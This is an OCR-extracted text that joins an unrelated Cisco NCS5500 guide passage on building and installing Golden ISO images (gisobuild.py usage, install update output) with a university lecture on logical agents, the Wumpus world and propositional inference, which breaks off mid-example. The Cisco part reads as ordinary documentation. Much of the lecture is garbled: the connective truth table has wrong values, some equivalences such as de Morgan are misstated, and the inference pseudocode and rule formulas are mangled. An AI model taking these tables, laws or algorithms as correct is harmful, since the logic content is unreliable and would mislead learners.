install upgrade source [repository] version 6.2.2 ncs5500-mpls-1.0.2.0-r623.x86_64.rpm
```
Customize Installation using Golden ISO
Golden ISO (GISO) is a customized ISO that a user can build to suit the installation requirement. The user can customize the installable image to include the standard base image with the basic functional components, and add additional RPMs, SMUs and configuration files based on requirement.
The ease of installation and the time taken to seamlessly install or upgrade a system plays a vital role in a cloud-scale network. An installation process that is time-consuming and complex affects the resiliency and scale of the network. The GISO simplifies the installation process, automates the installation workflow, and manages the dependencies in RPMs and SMUs automatically.
GISO is built using a build script `gisobuild.py` available on the github location https://github.com/ios-xr/gisobuild. For more information about the build script and the steps to build GISO, see Build Golden ISO, on page 12.
When a system boots with GISO, additional SMUs and RPMs in GISO are installed automatically, and the router is pre-configured with the XR configuration in GISO. For more information about downloading and installing GISO, see Install Golden ISO, on page 15.
The capabilities of GISO can be used in the following scenarios:
- Migration from IOS XR 32-bit to IOS XR 64-bit
- Initial deployment of the router
- Software disaster recovery
- System upgrade from one base version to another
- System upgrade from same base version but with additional SMUs
- Install update to identify and update dependant packages
Limitations
The following are the known problems and limitations with the customized ISO:
• Building and booting GISO for asynchronous package (a package of different release than the ISO) is not supported.
• GISO build script `gisobuild.py` does not support verifying the XR configuration.
• Renaming a GISO build and then installing from the renamed GISO build is not supported.
---
**Golden ISO Workflow**
The following image shows the workflow for building and installing golden ISO.
---
**Build Golden ISO**
The GISO build script supports automatic dependency management, and provides these functionalities:
• Builds RPM database of all the packages present in package repository.
• Skips and removes Cisco RPMs that do not match the mini-x.iso version.
• Skips and removes third-party RPMs that are not SMUs of already existing third-party base package in mini-x.iso.
• Displays an error and exits build process if there are multiple base RPMs of same release but different versions.
• Performs compatibility check and dependency check for all the RPMs. For example, the child RPM ncs5500-mpls-te-rsvp is dependent on the parent RPM ncs5500-mpls. If only the child RPM is included, the Golden ISO build fails.
To build GISO, provide the following input parameters to the script:
• Base mini-x.iso (mandatory)
• XR configuration file (optional)
• one or more Cisco-specific SMUs for host, XR and System admin
• one or more third-party SMUs for host, XR and System admin
• Label for golden ISO
Golden ISO can be built only from mini ISO. The full or fullk9 bundle ISO is not supported.
Use the following naming convention when building GISO:
<table>
<thead>
<tr>
<th>GISO Build</th>
<th>Format</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>GISO without k9sec RPM</td>
<td><platform-name>=golden-x.iso-<version>.<label></td>
<td><platform-name>=golden-x64.iso-<version>.v1</td>
</tr>
<tr>
<td></td>
<td><platform-name>=golden-x-<version>.iso.<label></td>
<td><platform-name>=golden-x64-<version>.iso.v1</td>
</tr>
<tr>
<td>GISO with k9sec RPM</td>
<td><platform-name>=goldenk9-x.iso-<version>.<label></td>
<td><platform-name>=goldenk9-x64.iso-<version>.v1</td>
</tr>
<tr>
<td></td>
<td><platform-name>=goldenk9-x-<version>.iso.<label></td>
<td><platform-name>=goldenk9-x64-<version>.iso.v1</td>
</tr>
</tbody>
</table>
To successfully add k9sec RPM to GISO, change the permission of the file to 644 using the chmod command.
```
chmod 644 [k9 sec rpm]
```
To build GISO, perform the following steps:
**Before you begin**
• To upgrade from non-GISO to GISO version, it is mandatory to first upgrade to mini ISO with GISO support. For NCS 5500 series routers, upgrade to release 6.2.2 or later.
• The system where GISO is built must meet the following requirements:
• System must have Python version 2.7 and later.
• System must have free disk space of minimum 3 to 4 GB.
• Verify that the Linux utilities mount, rm, cp, umount, zcat, chroot, mkeofs are present in the system. These utilities will be used by the script. Ensure privileges are available to execute all of these Linux commands.
• Kernel version of the system must be later than 3.16 or later than the version of kernel of Cisco ISO.
• Verify that a libyaml rpm supported by the Linux kernel is available to successfully import yaml in the tool.
• User should have proper permission for security rpm(k9sec-rpm) in rpm repository, else security rpm would be ignored for Golden ISO creation.
• The system from where the gisobuild script is executed must have root credentials.
---
**Step 1**
Copy the script gisobuild.py from the github location https://github.com/ios-xr/gisobuild to an offline system or external server where the GISO will be built. Ensure that this system meets the pre-requisites described above in the Before You Begin section.
**Step 2**
Run the script gisobuild.py and provide parameters to build the golden ISO off the router. Ensure that all RPMs and SMUs are present in the same directory. The number of RPMs and SMUs that can be used to build the Golden ISO is 128.
**Note**
The -i option is mandatory, and either or both -r or -c options must be provided.
**Note**
NCS5500 routers has two types of cards - x86_64 and arm. System Admin runs on both types of cards, whereas XR runs only on x86_64 card.
```
```
System requirements check [PASS]
Platform: ncs5500 Version: 6.2.2
Scanning repository [repository-path]...
Building RPM Database...
Total 3 RPM(s) present in the repository path provided in CLI
Following XR x86_64 rpm(s) will be used for building Golden ISO:
```bash
(+) ncs5500-mgbl-3.0.0.0-r622.x86_64.rpm
```
...RPM compatibility check [PASS]
Following SYSADMIN x86_64 rpm(s) will be used for building Golden ISO:
```bash
(+) ncs5500-sysadmin-system-6.2.2-r622.CSCcv44444.x86_64.rpm
```
Following SYSADMIN arm rpm(s) will be used for building Golden ISO:
```bash
(+) ncs5500-sysadmin-system-6.2.2-r622.CSCcv44444.arm.rpm
```
...RPM compatibility check [PASS]
Building Golden ISO...
Summary .....
XR rpms:
ncs5500-mgbl-3.0.0.0-r622.x86_64.rpm
SYSADMIN rpms:
ncs5500-sysadmin-system-6.2.2-r622.CSCc44444.x86_64.rpm
ncs5500-sysadmin-system-6.2.2-r622.CSCc44444.arm.rpm
...Golden ISO creation SUCCESS.
Golden ISO Image Location: <directory-path>/ncs5500-golden-x.iso-6.2.2
where:
• -i is the path to mini-x.iso
• -r is the path to RPM repository
• -c is the path to XR config file
• -l is the golden ISO label
• -h shows the help message
• -v is the version of the build tool gisobuild.py
• -m is to build the migration tar to migrate from IOS XR to IOS XR 64 bit
GISO is built with the RPMs placed in respective folders in the specified directory and also includes the log files giso_summary.txt and gisobuild.log-<timestamp>. The XR configuration file is placed as router.cfg in the directory.
---
**Note**
The GISO script does not support verification of XR configuration.
**What to do next**
Install the golden ISO on the router.
---
**Install Golden ISO**
Golden ISO (GISO) automatically performs the following actions:
• Installs host and system admin RPMs.
• Partitions repository and TFTP boot on RP.
• Creates software profile in system admin and XR modes.
• Installs XR RPMs. Use `show instal active` command to see the list of RPMs.
• Applies XR configuration. Use `show running-config` command in XR mode to verify.
Step 1
Download GISO image to the router using one of the following options:
- **PXE boot**: when the router is booted, the boot mode is identified. After detecting PXE as boot mode, all available ethernet interfaces are brought up, and DHClient is run on each interface. DHClient script parses HTTP or TFTP protocol, and GISO is downloaded to the box.
- **System Upgrade** when the system is upgraded, GISO can be installed using `install add`, `install activate`, or using `install update` commands.
- **system upgrade from a non-GISO (image that does not support GISO) to GISO image**: If a system is running a version1 with an image that does not support GISO, the system cannot be upgraded directly to version2 of an image that supports GISO. Instead, the version1 must be upgraded to version2 mini ISO, and then to version2 GISO.
- **system upgrade in a release from version1 GISO to version2 GISO**: If both the GISO images have the same base version but different labels, `install add` and `install activate` commands does not support same version of two images. Instead, using `install update` command installs only the delta RPMs. System reload is based on restart type of the delta RPMs.
```
Router#install update source <path-to-image> <platform-name-goldenk9-x64.iso-6.2.2>
Sat Dec 3 15:51:43.384 UTC
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ISO <platform-name-goldenk9-x64.iso-6.2.2> in input package list. Going to upgrade the system to version 6.2.2.
Updating contents of golden ISO
Scheme : localdisk
Hostname : localhost
Username : None
SourceDir : Dir
Collecting software state..
Fetching .... <ncs5500-name-goldenk9-x64.iso-6.2.2.v2>
LC/0/0/CPU0:Dec 3 15:53:41.580 : %PLATFORM-STATS_INFRA-3-ERR_STR_1 : ErrStr:Unable to map stats infra shared mem
Skipping openssh-scp-6.6p1.p1-r0.0.CSCtp12345.host.x86_64.rpm from GISO as it's active
Skipping <platform-name>-sysadmin-system-6.2.2-r622.CSCcv11111.x86_64.rpm from GISO as it's active
Skipping openssh-scp-6.6p1-r0.0.CSCcv11111.admin.x86_64.rpm from GISO as it's active
Skipping openssh-scp-6.6p1-r0.0.host.x86_64.rpm from GISO (skipped SMUs base pkg)
Adding packages
<platform-name>-sysadmin-shared-6.2.2-r622.CSCcv33333.x86_64.rpm
<platform-name>-mpls-te-rsvp-x64-1.2.0.0-r622.x86_64.rpm
```
• **system upgrade across releases from version1 GISO to version2 GISO:** Both the GISO images have different base versions. Use **install add** and **install activate** commands, or **install update** command to perform the system upgrade. The router reloads after the upgrade with the version2 GISO image.
```
install update source <path-to-image> <platform-name-goldenk9-x64.iso-6.2.2.opt
```
```
ISO <platform-name-goldenk9-x64.iso-6.2.2.opt> in input package list. Going to upgrade the system to version 6.2.2.
```
Step 2
Run the **show install repository all** command in System Admin mode to view the RPMs and base ISO for host, system admin and XR.
```
sysadmin-vm:0_RP0# show install repository all
```
Admin repository
Step 3 Run the `show install package <golden-iso>` command to display the list of RPMs, and packages built in GISO.
```
Router#show install package ncs5500-goldenk9-x64-6.2.2
This may take a while ...
ISO Name: ncs5500-goldenk9-x64-6.2.2
ISO Type: bundle
ISO Bundled: ncs5500-mini-x64-6.2.2
Golden ISO Label: temp
ISO Contents:
ISO Name: ncs5500-xr-6.2.2
ISO Type: xr
rpms in xr ISO:
iosxr-os-ncs5500-64-5.0.0.0-r622
iosxr-ce-ncs5500-64-3.0.0.0-r622
iosxr-infra-ncs5500-64-4.0.0.0-r622
iosxr-fwding-ncs5500-64-4.0.0.0-r622
iosxr-routing-ncs5500-64-3.1.0.0-r6122
ISO Name: ncs5500-sysadmin-6.2.2
ISO Type: sysadmin
rpms in sysadmin ISO:
ncs5500-sysadmin-topo-6.2.2-r622
ncs5500-sysadmin-shared-6.2.2-r622
ncs5500-sysadmin-system-6.2.2-r622
ncs5500-sysadmin-hostos-6.2.2-r622.admin
ISO Name: host-6.2.2
ISO Type: host
rpms in host ISO:
ncs5500-sysadmin-hostos-6.2.2-r622.host
Golden ISO Rpm:
xr rpms in golden ISO:
ncs5500-k9sec-x64-2.2.0.1-r622.CSCxr33333.x86_64.rpm
openssh-scp-6.6p1.p1-r0.0.CSCtp12345.xr.x86_64.rpm
openssh-scp-6.6p1-r0.0.xr.x86_64.rpm
ncs5500-mpls-x64-2.1.0.0-r622.x86_64.rpm
ncs5500-k9sec-x64-2.2.0.0-r622.x86_64.rpm
sysadmin rpms in golden ISO:
ncs5500-sysadmin-system-6.2.2-r622.CSCcv1l11l1.x86_64.rpm
ncs5500-sysadmin-system-6.2.2-r622.CSCcv1l1l1.arm.rpm
openssh-scp-6.6p1-r0.0.admin.x86_64.rpm
openssh-scp-6.6p1-r0.0.admin.arm.rpm
openssh-scp-6.6p1.p1-r0.0.CSCtp12345.admin.x86_64.rpm
```
The ISO, SMUs and packages in GISO are installed on the router.
|
{"Source-Url": "https://www.cisco.com/c/en/us/td/docs/iosxr/ncs5500/FlexPackaging/b-flexible-packaging-configuration-guide-ncs5500.pdf", "len_cl100k_base": 6400, "olmocr-version": "0.1.53", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 45171, "total-output-tokens": 7739, "length": "2e12", "weborganizer": {"__label__adult": 0.00036787986755371094, "__label__art_design": 0.0002390146255493164, "__label__crime_law": 0.000244140625, "__label__education_jobs": 0.0009160041809082032, "__label__entertainment": 0.00011211633682250977, "__label__fashion_beauty": 0.0001842975616455078, "__label__finance_business": 0.0012264251708984375, "__label__food_dining": 0.0002505779266357422, "__label__games": 0.0008721351623535156, "__label__hardware": 0.01560211181640625, "__label__health": 0.0002225637435913086, "__label__history": 0.0002543926239013672, "__label__home_hobbies": 0.00023508071899414065, "__label__industrial": 0.0013284683227539062, "__label__literature": 0.00019037723541259768, "__label__politics": 0.00015246868133544922, "__label__religion": 0.0003614425659179687, "__label__science_tech": 0.0282440185546875, "__label__social_life": 9.09566879272461e-05, "__label__software": 0.289794921875, "__label__software_dev": 0.658203125, "__label__sports_fitness": 0.00023066997528076172, "__label__transportation": 0.0005064010620117188, "__label__travel": 0.00023233890533447263}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24697, 0.04848]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24697, 0.14578]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24697, 0.80815]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 0, null], [0, 557, false], [557, 994, null], [994, 1505, null], [1505, 1505, null], [1505, 2083, null], [2083, 2083, null], [2083, 3598, null], [3598, 4502, null], [4502, 5744, null], [5744, 5744, null], [5744, 7379, null], [7379, 9874, null], [9874, 11583, null], [11583, 11583, null], [11583, 13231, null], [13231, 14032, null], [14032, 16282, null], [16282, 18604, null], [18604, 20034, null], [20034, 22351, null], [22351, 23086, null], [23086, 24633, null], [24633, 24697, null], [24697, 24697, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 0, null], [0, 557, true], [557, 994, null], [994, 1505, null], [1505, 1505, null], [1505, 2083, null], [2083, 2083, null], [2083, 3598, null], [3598, 4502, null], [4502, 5744, null], [5744, 5744, null], [5744, 7379, null], [7379, 9874, null], [9874, 11583, null], [11583, 11583, null], [11583, 13231, null], [13231, 14032, null], [14032, 16282, null], [16282, 18604, null], [18604, 20034, null], [20034, 22351, null], [22351, 23086, null], [23086, 24633, null], [24633, 24697, null], [24697, 24697, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24697, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24697, null]], "pdf_page_numbers": [[0, 0, 1], [0, 0, 2], [0, 557, 3], [557, 994, 4], [994, 1505, 5], [1505, 1505, 6], [1505, 2083, 7], [2083, 2083, 8], [2083, 3598, 9], [3598, 4502, 10], [4502, 5744, 11], [5744, 5744, 12], [5744, 7379, 13], [7379, 9874, 14], [9874, 11583, 15], [11583, 11583, 16], [11583, 13231, 17], [13231, 14032, 18], [14032, 16282, 19], [16282, 18604, 20], [18604, 20034, 21], [20034, 22351, 22], [22351, 23086, 23], [23086, 24633, 24], [24633, 24697, 25], [24697, 24697, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24697, 0.05899]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
297ecfeb23db1e60c5261d40aea2fee39997ea58
|
Lecture #7 – Logical Agents
Outline
- Knowledge-based agents
- Wumpus world
- Logic in general - models and entailment
- Propositional (Boolean) logic
- Equivalence, validity, satisfiability
- Inference rules and theorem proving
- forward chaining
- backward chaining
- resolution
Knowledge bases
- Knowledge base = set of sentences in a formal language
- Declarative approach to building an agent (or other system):
- Tell it what it needs to know
- Then it can Ask itself what to do - answers should follow from the KB
- Agents can be viewed at the knowledge level
i.e., what they know, regardless of how implemented
- Or at the implementation level
i.e., data structures in KB and algorithms that manipulate them
A Simple Knowledge-based Agent
The agent must be able to:
- Represent states, actions, etc.
- Incorporate new percepts
- Update internal representations of the world
- Deduce hidden properties of the world
- Deduce appropriate actions
Wumpus World PEAS description
- Performance measure:
- gold +1000, death -1000
- -1 per step, -10 for using the arrow
- Environment
- Squares adjacent to wumpus are smelly
- Squares adjacent to pit are breezy
- Glitter iff gold is in the same square
- Shooting kills wumpus if you are facing
- Shooting uses up the only arrow
- Grabbing picks up gold if in same square
- Releasing drops the gold in same square
- Sensors: Stench, Breeze, Glitter, Bump, Scream
- Actuators: Left turn, Right turn, Forward, Grab, Release, Shoot
Wumpus World Characterization
- Fully Observable No
- only local perception
- Deterministic Yes
- outcomes exactly specified
- Episodic No
- sequential at the level of actions
- Static Yes
- Wumpus and Pits do not move
- Discrete Yes
- Single-agent? Yes
- Wumpus is essentially a natural feature
Exploring a Wumpus World
Exploring a Wumpus World (II)
Exploring a Wumpus World (III)
Exploring a Wumpus World (IV)
Exploring a Wumpus World (V)
Exploring a Wumpus World (VI)
Logic in general
- Logics are formal languages for representing information such that conclusions can be drawn
- Syntax defines the sentences in the language
- Semantics define the "meaning" of sentences;
- i.e., define truth of a sentence in a world
- E.g., the language of arithmetic
- \( x + 2 \geq y \) is a sentence; \( x^2 + y > \{\} \) is not a sentence
- \( x + 2 \geq y \) is true iff the number \( x + 2 \) is no less than the number \( y \)
- \( x + 2 \geq y \) is true in a world where \( x = 7, y = 1 \)
- \( x + 2 \geq y \) is false in a world where \( x = 0, y = 6 \)
Entailment
- Entailment means that one thing follows from another:
\[ KB \models \alpha \]
- Knowledge base \( KB \) entails sentence \( \alpha \) if and only if \( \alpha \) is true in all worlds where \( KB \) is true
- E.g., the KB containing “the Giants won” and “the Reds won” entails “Either the Giants won or the Reds won”
- E.g., \( x + y = 4 \) entails \( 4 = x + y \)
- Entailment is a relationship between sentences (i.e., syntax) that is based on semantics
Models
- Logicians typically think in terms of models, which are formally structured worlds with respect to which truth can be evaluated
- We say \( m \) is a model of a sentence \( \alpha \) if \( \alpha \) is true in \( m \)
- \( M(\alpha) \) is the set of all models of \( \alpha \)
- Then \( KB \models \alpha \) iff \( M(KB) \subseteq M(\alpha) \)
- E.g. \( KB = \) Giants won and Reds won \( \alpha = \) Giants won
Entailment in the Wumpus World
Situation after detecting nothing in [1,1], moving right, breeze in [2,1]
Consider possible models for \( KB \) assuming only pits
3 Boolean choices \( \Rightarrow 8 \) possible models
Wumpus Models
- \( KB = \) wumpus-world rules + observations
- \( \alpha_1 = \) "[1,2] is safe", \( KB \vdash \alpha_1 \), proved by model checking
Wumpus Models (II)
- \( KB = \) wumpus-world rules + observation
Wumpus Models (III)
- \( KB = \) wumpus-world rules + observations
- \( \alpha_1 = \) "[1,2] is safe", \( KB \vdash \alpha_1 \), proved by model checking
Wumpus Models (IV)
- \( KB = \) wumpus-world rules + observations
Wumpus Models (V)
- \( KB = \) wumpus-world rules + observations
- \( \alpha_2 = \) "[2,2] is safe", \( KB \nvdash \alpha_2 \)
Inference
- \( KB \vdash \alpha = \) sentence \( \alpha \) can be derived from \( KB \) by procedure \( i \)
- Soundness: \( i \) is sound if whenever \( KB \vdash \alpha \), it is also true that \( KB \models \alpha \)
- Completeness: \( i \) is complete if whenever \( KB \models \alpha \), it is also true that \( KB \vdash \alpha \)
- Preview: we will define a logic (first-order logic) which is expressive enough to say almost anything of interest, and for which there exists a sound and complete inference procedure.
- That is, the procedure will answer any question whose answer follows from what is known by the \( KB \).
Propositional logic: Syntax
- Propositional logic is the simplest logic – illustrates basic ideas
- The proposition symbols P₁, P₂ etc are sentences
- If S is a sentence, then ~S is a sentence (negation)
- If S₁ and S₂ are sentences, S₁ ∧ S₂ is a sentence (conjunction)
- If S₁ and S₂ are sentences, S₁ ∨ S₂ is a sentence (disjunction)
- If S₁ and S₂ are sentences, S₁ ⇒ S₂ is a sentence (implication)
- If S₁ and S₂ are sentences, S₁ ⇔ S₂ is a sentence (biconditional)
Propositional Logic: Semantics
Each model specifies true/false for each proposition symbol
E.g. P₁,₂ P₂,₂ P₃,₁ false true false
With these symbols, 8 possible models, can be enumerated automatically.
Rules for evaluating truth with respect to a model m:
- ~S is true iff S is false
- S₁ ∧ S₂ is true iff S₁ is true and S₂ is true
- S₁ ∨ S₂ is true iff S₁ is true or S₂ is true
- S₁ ⇒ S₂ is true iff S₁ is false or S₂ is true
- S₁ ⇔ S₂ is true iff S₁ ⇒ S₂ is true and S₂ ⇒ S₁ is true
Simple recursive process evaluates an arbitrary sentence, e.g.,
¬P₁,₂ ∧ (P₂,₂ ∨ P₃,₁) = true ∧ (true ∨ false) = true ∧ true = true
Truth tables for connectives
<table>
<thead>
<tr>
<th>P</th>
<th>Q</th>
<th>~P</th>
<th>P ∧ Q</th>
<th>P ∨ Q</th>
<th>P ⇒ Q</th>
<th>P ⇔ Q</th>
</tr>
</thead>
<tbody>
<tr>
<td>false</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
</tr>
<tr>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
</tbody>
</table>
Wumpus World Sentences
Let Pᵢ,j be true if there is a pit in [i, j].
Let Bᵢ,j be true if there is a breeze in [i, j].
¬P₁,₁ {no pit in start square}
¬B₁,₁ {no breeze detected in square 1,1}
B₂,₁ {breeze detected in square 2,1}
"Pits cause breezes in adjacent squares"
B₁,₁ ⇔ (P₁,₂ ∨ P₂,₁)
B₂,₁ ⇔ (P₁,₁ ∨ P₂,₂ ∨ P₃,₁)
Truth Tables for Inference
<table>
<thead>
<tr>
<th>B₁,₁</th>
<th>B₂,₁</th>
<th>P₁,₁</th>
<th>P₁,₂</th>
<th>P₂,₁</th>
<th>P₂,₂</th>
<th>P₃,₁</th>
<th>KB</th>
<th>α₁</th>
</tr>
</thead>
<tbody>
<tr>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>false</td>
<td>false</td>
</tr>
</tbody>
</table>
Inference by Enumeration
- Depth-first enumeration of all models is sound and complete
```
function TT-EXTEND([KB, α]) returns true or false
symbols ← a list of the propositional symbols in KB and α
return TT-CHECK-ALL([KB, α, symbols,])
```
```
function TT-CHECK-ALL([KB, α, symbols, model]) returns true or false
if model ∈ symbols then return TT-TRUE([KB, α, model])
else return true
function TT-TRUE([KB, α, model])
for i from 1 to 1 do
return false
return true
```
```
for n symbols, time complexity is O(2^n), space complexity is O(n)
```
Logical equivalence
- Two sentences are logically equivalent} iff true in same models: \( \alpha \equiv \beta \) iff \( \alpha \Rightarrow \beta \) and \( \beta \Rightarrow \alpha \)
- \( (\alpha \land \beta) \equiv (\beta \land \alpha) \) commutativity of \( \land \)
- \( (\alpha \lor \beta) \equiv (\beta \lor \alpha) \) commutativity of \( \lor \)
- \( ((\alpha \land \beta) \land \gamma) \equiv (\alpha \land (\beta \land \gamma)) \) associativity of \( \land \)
- \( ((\alpha \lor \beta) \lor \gamma) \equiv (\alpha \lor (\beta \lor \gamma)) \) associativity of \( \lor \)
- \( \neg(\neg \alpha) \equiv \alpha \) double-negation elimination
- \( (\alpha \Rightarrow \beta) \equiv (\neg \beta \Rightarrow \neg \alpha) \) contraposition
- \( (\alpha \Rightarrow \beta) \equiv (\neg \alpha \lor \beta) \) implication elimination
- \( (\neg \alpha \land \neg \beta) \equiv ((\alpha \Rightarrow \beta) \land (\beta \Rightarrow \alpha)) \) biconditional elimination
- \( (\alpha \Rightarrow \beta) \equiv (\neg \alpha \lor \neg \beta) \) de Morgan
- \( (\alpha \lor (\beta \land \gamma)) \equiv ((\alpha \lor \beta) \land (\alpha \lor \gamma)) \) distributivity of \( \lor \) over \( \land \)
Validity and Satisfiability
A sentence is valid if it is true in all models.
- e.g., True, \( A \lor \neg A \), \( A \Rightarrow A \), \( (A \land (A \Rightarrow B)) \Rightarrow B \)
Validity is connected to inference via the Deduction Theorem:
\[ KB \models \alpha \text{ if and only if } (KB \Rightarrow \alpha) \text{ is valid} \]
A sentence is satisfiable if it is true in some model
- e.g., \( A \lor B \), \( C \)
A sentence is unsatisfiable if it is true in no models
- e.g., \( A \land \neg A \)
Satisfiability is connected to inference via the following:
\[ KB \models \alpha \text{ if and only if } (KB \land \neg \alpha) \text{ is unsatisfiable} \]
Proof Methods
- Proof methods divide into (roughly) two kinds:
- Application of inference rules
- Legitimate (sound) generation of new sentences from old
- Proof - a sequence of inference rule applications
- Can use inference rules as operators in a standard search algorithm
- Typically require transformation of sentences into a normal form
- Model checking
- truth table enumeration (always exponential in \( n \))
- improved backtracking, e.g., Davis–Putnam-Logemann-Loveland (DPLL)
- heuristic search in model space (sound but incomplete)
e.g., min-conflicts-like hill-climbing algorithms
Resolution
Conjunctive Normal Form (CNF)
- conjunction of disjunctions of literals clauses
\( E.g., (A \lor \neg B) \land (B \lor \neg C \lor \neg D) \)
- Resolution inference rule (for CNF):
\[ \begin{align*}
\neg(l_1 \lor \ldots \lor l_{i-1} \lor l_{i+1} \lor \ldots \lor l_k) \Rightarrow m_1 \lor \ldots \lor m_n \Rightarrow (\neg m_1 \lor \ldots \lor m_{i-1} \lor m_{i+1} \lor \ldots \lor m_n)
\end{align*} \]
Resolution is sound and complete for propositional logic
Conversion to Conjunctive Normal Form
\[ B_{1,1} \equiv (P_{1,2} \lor P_{2,1}) \]
1. Eliminate \( \equiv \), replacing \( \alpha \equiv \beta \) with \( (\alpha \Rightarrow \beta) \land (\beta \Rightarrow \alpha) \).
\[ (B_{1,1} \Rightarrow (P_{1,2} \lor P_{2,1})) \land ((P_{1,2} \lor P_{2,1}) \Rightarrow B_{1,1}) \]
2. Eliminate \( \Rightarrow \), replacing \( \alpha \Rightarrow \beta \) with \( \neg \alpha \lor \beta \).
\[ (\neg B_{1,1} \lor P_{1,2} \lor P_{2,1}) \land ((P_{1,2} \lor P_{2,1}) \lor B_{1,1}) \]
3. Move \( \neg \) inwards using de Morgan's rules and double-negation:
\[ (\neg B_{1,1} \lor P_{1,2} \lor P_{2,1}) \land ((\neg P_{1,2} \lor \neg P_{2,1}) \lor B_{1,1}) \]
4. Apply distributivity law (\( \land \) over \( \lor \)) and flatten:
\[ (\neg B_{1,1} \lor P_{1,2} \lor P_{2,1}) \land (\neg P_{1,2} \lor B_{1,1}) \land (\neg P_{2,1} \lor B_{1,1}) \]
Resolution Algorithm
- Proof by contradiction, i.e., show \( KB \land \neg \alpha \) unsatisfiable
```plaintext
Function PL-RESOLUTION(KB, \alpha) returns true or false
clauses ← the set of clauses in the CNF representation of \( KB \land \neg \alpha \)
new ← \{
loop do
for each \( C_i, C_j \) in clauses do
resolvent ← PL-RESOLUTION(C_i, C_j)
if resolvent contains the empty clause then return true
new ← new \cup resolvent
if new \subseteq clauses then return false
clauses ← clauses \cup new
```
Resolution Example
- \( KB = (B_{1,1} \iff (P_{1,2} \lor P_{2,1})) \land \neg B_{1,1} \land \neg P_{1,2} \)
Forward and Backward Chaining
- Horn Form (restricted)
- \( KB = \) conjunction of Horn clauses
- Horn clause =
- proposition symbol; or
- (conjunction of symbols) \( \Rightarrow \) symbol
- E.g., \( C \land (B \Rightarrow A) \land (C \land D \Rightarrow B) \)
- Modus Ponens (for Horn Form): complete for Horn KBs
\[
\alpha_1 \land \ldots \land \alpha_n \land \beta \Rightarrow \beta
\]
- Can be used with forward chaining or backward chaining.
- These algorithms are very natural and run in linear time.
Forward Chaining
- Idea: fire any rule whose premises are satisfied in the \( KB \),
- add its conclusion to the \( KB \), until query is found
\[
P \Rightarrow Q \land \neg Q \land \neg P
\]
Rules
- \( P \Rightarrow Q \)
- \( L \land M \Rightarrow P \)
- \( B \land L \Rightarrow M \)
- \( A \land P \Rightarrow L \)
- \( A \land B \Rightarrow L \)
- \( A \)
- \( B \)
Forward Chaining Algorithm
```plaintext
Function PL-FC-INITIALIZE(KB) returns true or false
local Variables: count, a table, indexed by clause, initially the number of premises
informed, a table, indexed by symbol, each entry initially false
agenda, a list of symbols, initially the symbols known to be true
while agenda is not empty do
\( P \leftarrow \) Pop(agenda)
unless informed(P) do
informed(P) ← true
for each Horn clause \( \psi \) in whose premise \( P \) appears do
decrement count[\psi]
if count[\psi] = 0 then do
if head[\psi] \( = \) \( Q \) then return true
Push(\psi, agenda)
return false
```
- Forward chaining is sound and complete for Horn KB
Forward Chaining Example
\[
\begin{align*}
P &\Rightarrow Q \\
L \land M &\Rightarrow P \\
B \land L &\Rightarrow M \\
